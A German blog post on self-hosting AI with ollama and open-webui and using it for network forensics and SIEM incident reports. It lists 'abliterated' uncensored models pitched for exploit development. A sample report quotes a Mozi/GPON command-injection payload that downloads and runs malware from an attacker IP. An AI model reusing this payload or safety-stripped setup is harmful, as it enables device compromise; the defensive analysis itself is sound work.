Realtime-Attack-Map
SURICATA / LIVE FEED

Lokal Gehostete Künstliche Intelligenz

Lokal Gehostete Künstliche Intelligenz

Warum sollte man überhaupt eine eigene KI nutzen?

Natürlich nutzen wir KI inzwischen im Alltag. Aber ist das wirklich so gefährlich? Welches Risiko besteht da überhaupt? In den AGBs der KI-Anbieter steht explizit, dass die Daten, die eine KI durch die Eingaben eines Users erhält, gespeichert werden und für weiteres Training verwendet werden. Schlecht also, wenn ein fremder User Fragen stellt, die mittels der eigenen privaten Informationen beantwortet werden könnten.

Rechtliches zur Cloud-Nutzung

US‑Behörden wie das FBI können unter bestimmten Voraussetzungen auch auf Daten zugreifen, die Unternehmen in Microsoft Azure speichern oder über Copilot verarbeiten – selbst wenn die Rechenzentren in der EU stehen. Grundlage sind insbesondere der CLOUD Act und die (geänderte) Stored Communications Act (SCA); dazu kommen Geheimhaltungsanordnungen („gag orders“).

Relevante US‑Gesetze (CLOUD Act, SCA, Gag Orders)

  • Der CLOUD Act („Clarifying Lawful Overseas Use of Data Act“, 2018) ergänzt und verändert den Stored Communications Act von 1986.
  • Er stellt klar, dass US‑Strafverfolgungsbehörden (z.B. FBI) US‑Anbieter per Gerichtsbeschluss oder subpoena verpflichten können, Kommunikations‑ und andere Kundendaten herauszugeben, „unabhängig davon, ob diese Daten in den USA oder im Ausland gespeichert sind“.
  • Entscheidend ist, ob der Anbieter (z.B. Microsoft) „possession, custody, or control“ über die Daten hat, nicht der Speicherort (z.B. Azure‑Rechenzentrum in Deutschland oder Irland).​

Zu den Gag Orders:

  • Anordnungen nach dem US Stored Communications Act / Electronic Communications Privacy Act (ECPA) können Microsoft verbieten, betroffene Kunden über eine FBI‑Anfrage zu informieren.
  • Microsoft hat vor dem US‑Kongress berichtet, dass es jährlich ca. 2.400–3.500 solcher Geheimhaltungsanordnungen erhält, also etwa ein Drittel aller behördlichen Anfragen auf Kundendaten.
  • Microsoft hat die Praxis der häufig unbefristeten Gag Orders gerichtlich angegriffen, u.a. mit der Begründung, dies verletze die Meinungsfreiheit des Unternehmens (First Amendment) und das Recht der Kunden, von Durchsuchungen zu erfahren (Fourth Amendment).

Secrecy‑Order‑Klagen von Microsoft:

  • Microsoft hat in mehreren Verfahren gegen die US‑Regierung argumentiert, dass die massenhafte Nutzung von Gag Orders gegen die US‑Verfassung verstößt.
  • Auch andere Tech‑Unternehmen (Apple, Google, Amazon, Twitter) haben sich in Amicus‑Schriftsätzen auf Microsofts Seite gestellt und vor einer Überdehnung der geheimen Zugriffsrechte gewarnt.

Was bedeutet das konkret für Azure / Copilot‑Nutzung?

  • Microsoft ist ein US‑Anbieter und unterliegt damit grundsätzlich dem CLOUD Act sowie dem Stored Communications Act – unabhängig davon, ob Azure‑Regionen in Deutschland/EU genutzt werden.
  • Wenn das FBI in einem Strafverfahren einen gerichtlichen Beschluss nach SCA/CLOUD Act erwirkt, kann Microsoft verpflichtet werden,
    • Azure‑Daten (z.B. Datenbanken, Files, Logs)
    • M365‑Daten (E‑Mails, SharePoint, OneDrive, Teams)
    • und ggf. aus Copilot‑Verarbeitungen abgeleitete oder dort zwischengespeicherte Daten
      herauszugeben, soweit sie unter Microsofts Kontrolle stehen.
  • In vielen Fällen darf Microsoft den betroffenen Kunden zunächst nicht informieren, weil eine unbefristete Gag Order beigefügt ist; die Information kann oft erst nach Ablauf oder gerichtlicher Aufhebung der Geheimhaltung erfolgen.

Das FBI kann kann also auf Daten zugreifen, die Sie in Azure speichern oder mit Copilot verarbeiten, wenn ein entsprechender US‑Rechtsakt (z.B. Warrant, subpoena oder Dekret) nach SCA/CLOUD Act vorliegt.

  • Dabei können Gag Orders verhindern, dass Sie von der Anfrage erfahren.
  • Es gibt mehrere dokumentierte Fälle, in denen Microsoft gegen solche Anfragen oder gegen Geheimhaltungsanordnungen vorgegangen ist (z.B. Microsoft‑Irland‑Fall, Secrecy‑Order‑Klagen), was aufzeigt, dass die amerikanische Regierung diese Werkzeuge nutzt und die Big-Tech-Anbieter in langen Verfahren hingehalten werden.

Diese könnten möglicherweise Dritten in die Hände fallen. Zum Beispiel durch Sicherheitslücken, wie hier bei Microsoft Copilot:

Es handelt sich dabei natürlich nicht um ein Problem, das auf Microsoft beschränkt ist. Auch ChatGPT machte sich einen Namen mit der Veröffentlichung privater Chats.

ChatGPT Data Leaks and Security Incidents (2023-2025): A Comprehensive Overview
Explore the most notable ChatGPT data leaks and privacy incidents from 2023 to 2024. Learn about the critical security challenges faced by AI technologies, the importance of robust privacy measures, and how enterprises can protect themselves from potential breaches. Discover key actions for CISOs and Heads of Information Security to ensure compliance and safeguard user data.
Samsung hat es verstanden.
Das grundsätzliche Problem

Cloud-Dienste sind bequem, aber man gibt dabei zwangsläufig die Kontrolle über seine Daten ab. Wer Daten aus der Hand gibt, darf nicht erwarten, dass Dritte sie dauerhaft vertraulich behandeln. Kommt es zu politischen oder rechtlichen Veränderungen – etwa in den USA oder Deutschland –, können nicht nur künftig entstehende Daten, sondern auch bereits gespeicherte Daten nachträglich ausgewertet oder genutzt werden. Datensammlung wirkt immer rückwärts!

Wie speichert eine KI Informationen?

Eine KI speichert Informationen als Zahlen in riesigen Matrizen. Diese Zahlen legen fest, wie stark künstliche Neuronen miteinander verknüpft sind. Beim Training werden die Matrizen fortlaufend angepasst – mithilfe linearer Algebra: Vektoren werden multipliziert, addiert und im Raum transformiert. Genau solche Operationen fallen auch bei 3D-Berechnungen an, weshalb Grafikkarten dafür besonders geeignet sind.

0:00
/0:17

288000 dimensionaler Raum auf drei Dimensionen reduziert. Was befindet sich wo in diesem Raum? Warum passt das nicht exakt?

Interessant in diesem Beispiel ist, dass die Richtung des gelben Vektors die Idee von "Gender" repräsentiert. Spielt man dieses Spiel mit E(Pasta) - E(Italien) + E(Deutschland), erhält man als naheliegensten Vektor E(Bratwurst) 😆.

Installation einer lokalen KI

Eine lokale KI zu installieren ist deutlich einfacher, als manche annehmen. Aufgrund der besonderen Flexibilität wählen wir ollama.

Das geht schnell und einfach:

0:00
/0:15

Fertig!

Mit einem kurzen Test weisen wir nach, dass alles funktioniert. Dazu schauen wir mal in die Liste der verfügbaren Modelle:

Ollama
Search for models on Ollama.
0:00
/0:36

Wie man sieht, werden fehlende Modelle automatisch nachgeladen. Allerdings ist das Wissen lokal begrenzt. Über die Zeit sammeln sich einige Modelle, für unterschiedliche Zwecke. Coding, Thinking, Instruction-Following oder auch unzensierte Modelle, die sich nicht weigern Schaden anzurichten (Exploit-Developement).

root@ai:~ # ollama list
NAME                                                                                                 ID              SIZE      MODIFIED     
michael:latest                                                                                       a255352a2095    18 GB     14 hours ago    
mm_thinking:latest                                                                                   8cfa5cfc7a10    13 GB     14 hours ago    
mm_tool_use:latest                                                                                   38019720da29    18 GB     14 hours ago    
mm_instruct:latest                                                                                   4a85831f6b1c    18 GB     14 hours ago    
glm-4.7-flash:latest                                                                                 d1a8a26252f1    19 GB     2 weeks ago     
dolphin3:8b-llama3.1-fp16                                                                            b0941c6f3226    16 GB     2 weeks ago     
devstral:latest                                                                                      9bd74193e939    14 GB     2 weeks ago     
gemma3:27b-it-qat                                                                                    29eb0b9aeda3    18 GB     2 weeks ago     
codegemma:latest                                                                                     0c96700aaada    5.0 GB    2 weeks ago     
gpt-oss:latest                                                                                       17052f91a42e    13 GB     2 weeks ago     
qwen3:30b-a3b-instruct-2507-q4_K_M                                                                   19e422b02313    18 GB     2 weeks ago     
mistral-small3.2:latest                                                                              5a408ab55df5    15 GB     2 weeks ago     
hf.co/DavidAU/Qwen3-The-Xiaolong-Josiefied-Omega-Directive-22B-uncensored-abliterated-GGUF:Q4_K_M    5919ddb7b2f1    13 GB     2 weeks ago     
hf.co/mradermacher/Huihui-Qwen3-Coder-30B-A3B-Instruct-abliterated-i1-GGUF:Q4_K_M                    35e38c54cdc5    18 GB     2 weeks ago

Was bringt eine KI, die keine Ahnung hat?

Berechtigte Frage. Grundsätzlich soll die KI dabei helfen, Muster zu erkennen. Ob in der Reihenfolge von Wörtern (Sprache eben) oder in Dokumenten und Konfigurationen. Man muss einer lokalen KI also Informationen geben, in denen sie Muster erkennen kann.

Große Cloud-Anbieter trainieren das ganze Internet in ihre Modelle. Da man von seinem Arbeitgeber meist nur schwache Laptops zur Verfügung gestellt bekommt, kann man nicht auf die Leistung eines Macbooks zurückgreifen. Um dieses Problem zu lösen, müssen wir die KI anweisen, die nötigen Informationen zu recherchieren. Das erklärt man einer lokalen kleinen KI in gleicher Weise, wie man auch einem Junior-IT-Engineer seine Aufgabe beschreiben würde:

  1. Erkenne das Ziel der gestellten Aufgabe und finde die besten Schlüsselworte für eine Internetsuche. Dabei darfst Du keine privaten/interne Informationen preisgeben.
  2. Suche im Internet nach URLs, die am besten auf die Suchbegriffe passen.
  3. Beschaffe die Inhalte der URLs und reichere deinen Kontext damit an.
  4. Beantworte die Frage.

Wie komme ich jedoch an die Informationen aus dem Internet? Ich könnte am einfachsten curl nutzen. Dann frage ich einfach eine bekannte Suchmaschine wie Google, oder ich betreibe einfach eine eigene Suchmaschine, die strukturierte, KI-freundliche JSON-Antworten liefert und dabei gleich sämtliche Tracking-Informationen konsequent entfernt.

Die beste anonyme Meta-Suchmaschine
Eine selbstgehostete, datenschutzfreundliche Suchmaschine mit SearXNG und Docker – für maximale Kontrolle über die eigenen Suchanfragen und -ergebnisse!

Für die KI ist die Antwort dann besser zu verstehen, sodass sie die URLs besuchen kann:

Mit dem neu gewonnenen Kontext kann die KI die Fragen nun besser beantworten:

0:00
/0:23

Das ist für meinen Geschmack zu viel Text. Der Name hätte mir gereicht. Man sollte daher der KI genauer sagen, was ihr Job ist. Normalerweise ist eine KI ein "hilfsbereiter Assistent", was man ihr durch einen neuen System-Prompt abgewöhnen kann.

Der System-Prompt

Um der KI die Gesprächigkeit eines Assistenten abzugewöhnen, erstellen wir ein neues Modell. Das ist sehr einfach. Man muss es nur in Textform beschreiben:

echo '
FROM qwen3:30b-a3b-instruct-2507-q4_K_M

SYSTEM """
# Role
You are a pure output engine.

# Instructions
**NEVER** provide introductions, greetings, explanations, or filler phrases (e.g., 'Here is the code', 'Sure').

# Output-Format
If a specific format is requested, output **ONLY** the raw content of that format.
Your output begins directly with the response.
"""
' > mm_no_gelaber.modelfile

/usr/local/bin/ollama create mm_no_gelaber -f mm_no_gelaber.modelfile

Mal sehen, wie sich die Antwort nun verändert:

OK. Aber vielleicht geht es auch mit etwas mehr Komfort. Vielleicht ein WebUI?


Mehr Komfort

Soetwas wie ChatGPT wäre wünschenswert. Also fügen wir das auch noch schnell hinzu:

  open-webui:
    image: ghcr.io/open-webui/open-webui:main
    container_name: open-webui
    ports:
      - "3000:8080"
    environment:
      - PUID=1000
      - PGID=1000
      - TZ=Europe/Berlin
    volumes:
      - ./open-webui:/app/backend/data

Mit dem Befehl docker compose up -d open-webui wird der Web-Service auf Port 3000 erreichbar gemacht.

Und schon kann man die Webseite aufrufen und ollama als lokale KI eintragen:

Sobald man seine KI eingetragen hat, kennt open-webui auch schon alle Modelle aus der Konsole:

Und schon kann es losgehen:

Aber das Problem kennen wir ja schon. Also schnell eine Suchmaschine als Werkzeug hinzufügen:

Und schon sind wir auf einem Stand, der bereits nahe an großen Cloud-Anbietern ist:


Eigene Wissensdatenbank nutzen

Es gibt verschiedene Wege, einer KI eigene Informationen bereitzustellen. Am einfachsten ist es, Dokumente direkt in den Chat hochzuladen. Das funktioniert gut bei kleinen Datenmengen, stößt jedoch bei größeren schnell an Grenzen.

Für umfangreiche Inhalte ist es deutlich effizienter, die Dokumente in Vektoren zu zerlegen (Embeddings) und diese in einer separaten Vektordatenbank zu speichern. So können relevante Informationen gezielt und performant abgerufen und dem Modell bei Bedarf kontextbezogen zur Verfügung gestellt werden.

Damit open-webui das automatisch übernimmt,

  open-webui:
    image: ghcr.io/open-webui/open-webui:main
    container_name: open-webui
    ports:
      - "3000:8080"
    environment:
      - PUID=1000
      - PGID=1000
      - TZ=Europe/Berlin
    ...
    volumes:
      - ./open-webui:/app/backend/data
      - /mnt/nextcloud/files/dms:/app/backend/data/docs      # Knowledge-Pfad
    ...

Hier könnte man also beliebige Shares platzieren - also auch webdav-Verzeichnisse, die in einem entfernten Web-Laufwerk liegen.

Ich scanne Dokumente, die von offiziellen Stellen kommen (Versicherung/Steuer/Nebenkosten...), grundsätzlich ein und lasse sie dann in meinem Dokument-Management-System sortieren. Diesen bereinigten Ordner stelle ich meiner KI zur Verfügung:

Und so kann ich schnell Fragen an meine lokale KI richten:


Technische Anwendungen von lokaler KI

Wir haben also gelernt, dass KI gut mit Kontext umgehen kann. Warum also nicht Logfiles als Kontext zur Verfügung stellen und darin ungewöhnliche Aktivitäten erkennen lassen?

Kunde kann docs.python.org nicht erreichen

Da es durch die Firma des Kunden untersagt ist, interne Informationen Dritten zugänglich zu machen, kann keine Cloud-KI zur Analyse der zig-tausend Events genutzt werden. Vielleicht bringt die lokale KI einen ja auf den richtigen Weg.

Zunächst nutzen wir ein Modell, dem wir einen passenden System-Prompt mitgeben:

# Rolle: Erfahrener Netzwerk-Forensiker

Du bist ein erfahrener Netzwerk-Forensiker und sollst eine detaillierte Störungsanalyse anhand einer `tcpdump`-Ausgabe durchführen. Analysiere die folgenden Daten so, als würdest du ein produktives Unternehmensnetzwerk debuggen.

## 1. Kontext & Ziel
* **Datenquelle:** Die Daten stammen von `tcpdump` (klassische Textausgabe, ggf. mehrere tausend Zeilen).
* **Ziel:** Anzeichen für Störungen oder Fehlverhalten im IP‑Netzwerk identifizieren.
* **Ergebnis:** Es soll klar hervorgehen, welche IPs, Ports oder Komponenten (Client, Server, Firewall, Load Balancer, VPN-Gateway etc.) mit hoher Wahrscheinlichkeit Probleme verursachen.

---

## 2. Vorgehen bei der Analyse

### 2.1 Grundlegende Struktur verstehen
* Erkenne Zeitstempel, Quell‑IP, Ziel‑IP, Ports und Protokolle (TCP, UDP, ICMP etc.).
* Identifiziere Verbindungen bzw. Flows (gleiche 5‑Tuple: Source IP, Source Port, Destination IP, Destination Port, Protokoll).

### 2.2 Indikatoren für Störungen identifizieren und erklären
Gehe systematisch auf folgende Punkte ein und erkläre jeweils kurz, warum sie problematisch sind:

* **TCP-Verbindungsaufbau und -abbau**
  * SYN ohne SYN/ACK oder mehrfach wiederholte SYNs *(Hinweis auf unerreichbaren Host, Firewall-Block, geschlossenen Port oder Überlastung)*.
  * Sehr viele RST-Pakete *(Hinweis auf Verbindungsabbrüche, falsche Ports oder aktive Verweigerung)*.
  * Hängende Verbindungen ohne ACK nach wichtigen Paketen.
* **Retransmissions und Packet Loss**
  * Wiederübertragungen (Retransmissions) desselben Segments.
  * „dup ack“, „fast retransmit“ oder ähnliche Muster.
  * Lange Latenzen zwischen Request und Response *(Hinweis auf Überlastung, Latenz, Congestion)*.
* **ICMP-Meldungen**
  * „destination unreachable“, „time exceeded“, „fragmentation needed“ usw.
  * *Erkläre*, welche dieser ICMP-Typen auf Routing‑Probleme, MTU‑Probleme oder Filter (Firewall/ACL) hindeuten.
* **Ports, Dienste und Zeitverhalten**
  * Ports mit auffällig vielen fehlgeschlagenen Verbindungen (z. B. viele SYN ohne Antwort).
  * Verbindungen, die sehr lange offen bleiben ohne Datenübertragung.
  * Spikes an Verbindungen zu einer einzelnen IP oder einem einzelnen Port *(Hinweis auf Hotspot/Engpass oder Scans)*.
* **Abnormale Muster**
  * Sehr viele kurze Verbindungen (z. B. viele kleine HTTP/HTTPS-Requests) mit Fehlern.
  * Einseitiger Traffic (nur in eine Richtung), fehlende Antworten.
  * Ungewöhnliche Quellen/Ziele im Vergleich zum Rest (Outlier), z. B. eine IP mit viel höherem Traffic oder Fehleranteil.

### 2.3 Verdächtige / problematische IPs und Komponenten herausarbeiten
* Liste IP‑Adressen auf, die besonders häufig an Fehlern beteiligt sind (SYN ohne Antwort, ICMP Errors, Retransmissions, RST‑Stürme, Timeouts).
* Ordne diese IPs – soweit aus den Ports/Verkehrsmustern erkennbar – einer Rolle zu (z. B. Client, Webserver, Datenbank, Firewall, VPN‑Gateway, DNS‑Server).
* Ziehe logische Schlüsse, ob eher:
  * der **Client** fehlerhaft ist (falsche Ziele, Ports, aggressive Retries),
  * der **Server/Service** überlastet oder nicht erreichbar ist, oder
  * eine **Zwischenkomponente** (Firewall, NAT, Load Balancer, VPN‑Gateway, Router) den Traffic blockiert oder verwirft.

### 2.4 Korrelation & Priorisierung
* Zeige auf, bei welchen IP‑Paaren (Client ↔ Server) sich die meisten Fehler häufen.
* Unterscheide zwischen:
  * **lokal begrenzten Problemen** (nur bestimmte Client‑Netze oder einzelne Server)
  * **globalen Problemen** (fast alle Verbindungen zeigen ähnliche Fehler → mögliches Core‑Netz- oder WAN‑Problem).
* Bewerte, welche Probleme operativ am kritischsten sind (z. B. geschäftskritische Ports/Dienste, Ausfallhäufigkeit).

---

## 3. Geforderte Ausgabe-Struktur

Gib deine Antwort exakt in den folgenden Abschnitten aus:

### 3.1 Kurz-Zusammenfassung (Executive Summary)
* **Umfang:** 3–6 Sätze.
* **Inhalt:** Welche Hauptprobleme liegen vor, welche Art von Komponente ist am wahrscheinlichsten die Ursache (Client, Server, Firewall, Router, VPN, Load Balancer etc.), und wie schwer ist die vermutete Störung.

### 3.2 Liste problematischer IPs und Ports
Erstelle eine Markdown-Tabelle mit folgenden Spalten (trage für jede klar auffällig problematische IP mindestens eine Zeile ein):

| IP-Adresse | Rolle (vermutet) | Betroffene Ports/Protokolle | Beobachtete Probleme | Indikatoren in der tcpdump-Ausgabe | Wahrscheinliche Ursache |
| :--- | :--- | :--- | :--- | :--- | :--- |
| *Bsp.* | *Bsp.* | *Bsp.* | *Bsp.* | *(z.B. „viele SYN ohne SYN/ACK“, „ICMP unreachable from...“)* | *(z.B. „Zielport durch Firewall geblockt“, „Routing-Problem“)* |

### 3.3 Detaillierte Indikatoren-Analyse
* Erkläre pro Fehlerkategorie (SYN‑Probleme, RST‑Stürme, ICMP‑Fehler, Retransmissions/Latenz etc.), welche konkreten Zeilen oder Muster in der `tcpdump`-Ausgabe darauf hinweisen.
* Verknüpfe diese Indikatoren mit den betroffenen IPs aus der Tabelle.
* Zeige, welche Muster systematisch sind (dauerhaft über den Capture verteilt) und welche nur kurz auftreten.

### 3.4 Wahrscheinliche Störungsursachen je Komponenten-Typ
* Fasse zusammen, welche Komponenten am stärksten im Verdacht stehen (z. B. „Firewall zwischen Netz A und B“, „VPN-Tunnel X“, „Webserver Y“, „DNS-Server Z“).
* Begründe deine Einschätzung jeweils mit konkreten Beobachtungen aus der `tcpdump`-Ausgabe (z. B. „ICMP destination unreachable von Router 10.0.0.1“, „Antwortpakete kommen nur bis Interface X, aber nicht zurück zum Client“).
* *Optional:* Beschreibe kurz, welche zusätzlichen Messungen/Logs helfen würden, die Diagnose zu bestätigen.

### 3.5 Konkrete Handlungsempfehlungen
Nenne 3–8 konkrete Schritte für weitere Analyse oder Behebung und **priorisiere diese nach Impact und Umsetzbarkeit** (z. B. *hoch*, *mittel*, *niedrig*). 
*Beispiele:*
* „Firewall-Regeln für IP A ↔ B und Port P prüfen“
* „Server-Logs für Zeitfenster T checken (Überlast/Crash)“
* „MTU und Path MTU Discovery zwischen Standort 1 und 2 überprüfen“
* „DNS-Auflösung und Route zu Ziel-IP X verifizieren“

---

## 4. Stil- und Formatvorgaben
* Analysiere präzise und technisch; vermeide vage Formulierungen.
* Nutze Listen und Tabellen, um die wichtigsten IPs, Ports und Fehlerarten übersichtlich darzustellen.
* Benenne IPs und Ports **immer exakt so**, wie sie im `tcpdump` auftauchen.
* Wenn etwas aus den Daten nicht sicher geschlossen werden kann, formuliere es klar als Hypothese („wahrscheinlich“, „naheliegend“, „möglich“).

---

## Zu analysierende Daten (tcpdump-Ausgabe)

Dann kann man aus dem Terminal einfach die gesammelten Ausgaben in das Chat-Fenster übertragen:

Ich gebe noch eine Richtung meiner Analyse vor, um der lokalen KI mein Ziel zu verdeutlichen.

Die KI hat nach mehreren Rückfragen schließlich festgestellt, dass die Firewall die Pakete nicht blockiert und auch der Proxy nicht in den Traffic eingreift. Aber der Client (ein Macbook) immer Verbindungen zu docs.python.org unterbricht, nachdem er mit Bitdefender bei Microsoft gesprochen hat.

Weit über 10.000 Events mit dem Auge zu durchsuchen wäre sehr ermüdend.

Schließlich konnte der Fehler in der Konfiguration der EDR-Lösung gefunden werden.


Security Operations

Eine lokale KI lässt sich auch nahtlos in bestehende Software integrieren, etwa in ein SIEM. Wird dort ein definierter Use Case ausgelöst, analysiert die KI automatisiert sämtliche relevanten Logs der beteiligten Komponenten, die im SIEM bereits zentral vorliegen.

Dazu zählen beispielsweise Firewall-, Proxy-, Antivirus- und Server-Logs. Die KI untersucht diese Daten systematisch auf Muster, Korrelationen und Anomalien, um belastbare Hinweise darauf zu identifizieren, ob ein Angriff erfolgreich war und welcher Schaden möglicherweise entstanden ist. Diese Vor-Untersuchung beschleunigt die Incident-Response deutlich.

Wazuh on Steroids: AI-Powered Incident Analysis On-Demand
Upgrade Wazuh with an AI-powered active response for on-demand, deep-dive incident analysis.
Beispiel

Ich habe ein kleines Script geschrieben, das SIEM-Alarme per STDIN erhält. Die lokale KI findet heraus, welche IP Auslöser des Incidents war und recherchiert im Internet, wer der Angreifer war. Liegt der Kontext vollständig vor, kann der lokalen KI ein Auftrag erteilt werden:

**Bekannte vergangene Aktivitäten der IP-Adresse ${SRCIP}:**
${CONTEXT_LOGS}

# ROLLE
Du bist ein erfahrener IT-Sicherheitsanalyst. Deine Aufgabe ist es, aus den folgenden Daten einen umfassenden und detaillierten Incident-Report als eigenständiges HTML-Dokument zu generieren.

### EINGABEDATEN ###

**1. Primärer Alarm (Auslöser):**
${ALERT_JSON}

**2. Zusatzinformationen:**
- IP-Adresse des Angreifers: ${SRCIP}
- IP-Adresse des Opfers: ${DSTIP}
- Host, der den Angriff gemeldet hat: ${AGENT_NAME}
- Informationen über den Angreifer: 
${SRCIPINFO}

**3. Infrastruktur-Kontext (Netzwerk-Topologie):**
* **Externe Firewall-IP:** ${EXT_IP} → Öffentliche IP der externen Firewall
...
* **SYSLOG**: Alle Syslogs der lokalen Systeme sind im den vergangenen Aktivitäten enthalten. Wenn dort die IP des Angreifers nicht auftaucht, ist davon auszugehen, dass der Angriff bisher nicht erfolgreich war.

### DEINE AUFGABE ###

Erstelle basierend auf den EINGABEDATEN einen Incident Report im HTML-Format. Sei so detailliert wie möglich. Analysiere Payloads tiefgehend und füge relevante Log-Ausschnitte vollständig ein.

1.  **Titel (`<h1>`):** Ein aussagekräftiger Titel für den Incident.
2.  **Überblick:** Was ist passiert? Finde in den Logs das früheste Datum und das letzte. Nenne dies als Beginn und Ende des Angriffs. Gab es automatisierte Reaktionen, um den Angreifer zu blockieren (Z.B. active-response)? Status (Ongoing/Beendet)?
3.  **Beteiligte Komponenten:** Nutze die "Infrastruktur-Kontext" Info aber nenne nur beteiligte Komponenten und beschreibe deren logische Verbindungen miteinander in einer Tabelle.
4.  **Täterprofil:** Was ist über die Angreifer-IP bekannt? Gib eine möglichst vollständige Tabelle aus.
5.  **Zielanalyse:** Nenne alles, was über das angegriffene Zielsystem bekannt ist. Nenne dabei keine Details des Angriffs.
6.  **Erfolgsanalyse:** War der Angriff erfolgreich? Begründe dies anhand der Logs. Markiere deine finale Beurteilung <b>fett</b> in weißer Schrift hervorgehoben.
    * Prüfe, ob der Traffic den Zielhost erreicht hat, indem Du die filterlogs prüfst. Wenn nur `match,block` in den filterlogs zu sehen ist, hat die Firewall **alle** Verbindungen blockiert war der Angriff nicht erfolgreich.
    * Wenn die Firewall den Traffic erlaubt hat (`match,pass`), ist zu prüfen, ob der Traffic das Endsystem erreicht hat.
7.  **Technische Details (WICHTIG):**
    *   Beschreibe die Angriffsmethode detailliert und den gesamten zeitlichen Verlauf der Aktionen des Angreifers.
    *   Wenn in den Logs die Befehle zu erkennen sind, die der Angreifer versucht auszuführen, sind diese **vollständig** zu nennen und zu erklären.
    *   Gib die wichtigen Ereignisse in einer Tabelle aus. Wichtig dabei ist eine Zeile für den Beginn des Vorfalls (frühestes Datum in den Logs) und die letzte Zeile mit dem letzten Ereignis (letztes Datum in den Logs) dieses Vorfalls. Folgende Informationen werden in den Spalten erwartet: date/time, Komponente auf der das Ereignis erkannt wurde, Ereignis, Kurzbeschreibung.
    *   Nutze **HTML-Tabellen (`<table>`)**, um Log-Einträge darzustellen (Spalten: Zeitstempel, Payload/Befehl, Status).
    *   Nutze `<pre><code>` Blöcke für längere Raw-Logs.
    *   Gruppiere zusammengehörige Logs, die zur gleichen Zeit stattgefunden haben. Beispiel: Wenn ein suricata-log vorliegt, dann muss zur gleichen Zeit auch ein Firewall-Log vorliegen. Möglicherweise auch ein Log des Endsystems. Es könnten auch active-response Aktivitäten zu sehen sein. Diese sind als Gruppe zusammen darzustellen.
    *   Baue, falls es das Verständnis erleichtert, ein SVG-Diagram ein, welches die Anzahl der Logeinträge über die Uhrzeit (UTC) darstellt.
8.  **Risikobewertung:** Kritikalität (Kritisch/Hoch/Mittel/Niedrig) mit Begründung. Diese Begründung muss aus allen gewonnenen Informationen selbst hergeleitet sein.
9.  **Handlungsempfehlung:** Konkrete nächste Schritte für die Administratoren der jeweiligen Endsysteme.

### AUSGABEFORMAT ###
- Gib **ausschließlich** den vollständigen HTML-Code zurück. Es darf **kein äußerer Codeblock** ausgegeben werden!
- Keine Markdown-Formatierung (` ```html `) um den Output herum.
- Das Dokument muss valide sein und ohne externe Abhängigkeiten (außer der Font-URL) funktionieren.

Von diesem Zeitpunkt an werden SIEM-Alarme mit einer Voranalyse angereichert. Sie sieht ungefähr so aus:

Security Incident Report

Mirai/Mozi Botnet Angriffsversuch via Command Injection

Management Summary

Zeit: 09. März 2026, 21:41:24 - 21:42:42
Angreifer: IP-Adresse 103.160.197.85
Opfer: Internes Netzwerk (172.21.188.254)
Ziel: Webserver im DMZ-Netz (172.21.111.81) via GPON Formular
Status: Angriff erfolgreich abgewehrt

Beteiligte Komponenten

Komponente IP-Adresse Funktion
OPNsense Firewall (extern) 217.113.186.156 Gateway zur Internetverbindung
OPNsense Firewall (intern) 172.21.188.254 Frontend-IP für externe Anfragen
Nginx Webserver (DMZ) 172.21.111.81 Webserver mit GPON-Formular
Suricata IDS 172.21.111.81 Erkennung des Angriffs
Wazuh SIEM 172.21.110.254 Aktive Reaktion auf den Angriff

Täterprofil

Kategorie Informationen
GeoIP & Netzwerk (ipinfo.io) Land: IN
Region: Haryana
Stadt: Bahadurgarh
Koordinaten: 28.6929,76.9356
ASN: N/A
Organisation (ASN): AS135761 Userlinks Netcom Pvt. Ltd.
Typ (ASN): N/A
IP-Typ (Vermutung): Unbekannt/ISP
WHOIS Informationen Kontakt: Bharat Digital Network Private Limited
Adresse: CHANDA COMPLEX MURSAN GATE HATHRAS, Agra, Uttar Pradesh-204101
E-Mail: support@bharatnetwork.in
Telefon: +91 01102784182
Reputation & Missbrauch AbuseIPDB Score: 24
Anzahl Reports (90T): 9
Nutzungstyp (AbuseIPDB): Fixed Line ISP
VirusTotal Check AS Owner (VT): Userlinks Netcom Pvt. Ltd.
Leste Analyse: 2026-02-13 04:32
Bösartig: 3
Verdächtig: 0
Harmlos: 59
Unerkannt: 32
GreyNoise Check Noise?: true
RIoT?: false
Klassifikation: malicious
Name: unknown
Last Seen: 2026-03-09
Report URL: https://viz.greynoise.io/ip/103.160.197.85
Sicherheits-Posture Shodan Host Check: Fehler beim Abrufen
TOR Exit Node Check: Ja
Blacklist Check (DNSBL) Gelistet auf: zen.spamhaus.org, bl.spamcop.net, dnsbl.sorbs.net, b.barracudacentral.org, dnsbl-1.uceprotect.net, all.s5h.net
Finale Bewertung Risiko-Einschätzung: Hoch
Handlungsempfehlung: Deutliches Risiko. Blockierung empfohlen, insbesondere wenn kritische Indikatoren (TOR, hohe Scores, Malicious GN) vorliegen.

Erfolgsanalyse

FAZIT: Angriff erfolgreich abgewehrt

Der Angriff war ein Versuch, keine erfolgreiche Kompromittierung. Die IP des Angreifers (103.160.197.85) wurde durch Suricata als Exploit erkannt und durch Wazuh mit einer Active-Response blockiert. Obwohl der Payload eine Command Injection beinhaltete, die auf dem Ziel-System (172.21.188.254) eine Malware herunterladen und ausführen sollte, wurde die Anfrage vom Webserver abgewehrt (Statuscode 444). Es gibt keine Hinweise auf erfolgreiche Ausführung der Malware.

Angriffs- & Payload-Analyse

Der Payload des Angriffs lautet:

XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://103.160.197.85:43212/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0

Der Befehl ``;wget+http://103.160.197.85:43212/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80 führt folgende Aktionen aus:

  • ``: Führt den Befehl im Shell-Kontext aus
  • wget http://103.160.197.85:43212/Mozi.m -O ->/tmp/gpon80: Lädt die Malware Mozi.m von der Angreifer-IP und speichert sie als /tmp/gpon80
  • sh /tmp/gpon80: Führt die heruntergeladene Datei aus

Chronologischer Ablauf (Timeline)

Zeitstempel Komponente Ereignis Kurzbeschreibung
09.03.2026 21:41:24 OPNsense Firewall (vtnet1) Filterlog pass Paket von 103.160.197.85 an 172.21.111.81 auf Port 62841 über TCP
09.03.2026 21:41:24 OPNsense Firewall (vtnet9) Filterlog pass Paket von 103.160.197.85 an 172.21.111.81 auf Port 62841 über TCP
09.03.2026 21:41:26 Suricata IDS Alert - ET EXPLOIT HackingTrio UA (Hello, World) Exploit erkannt auf Ziel-IP 172.21.111.81 mit User-Agent "Hello, World"
09.03.2026 21:41:26 Suricata IDS Alert - ET SCAN Mirai Variant User-Agent (Inbound) Zusätzlicher Scan-Alert für Mirai-Varianten
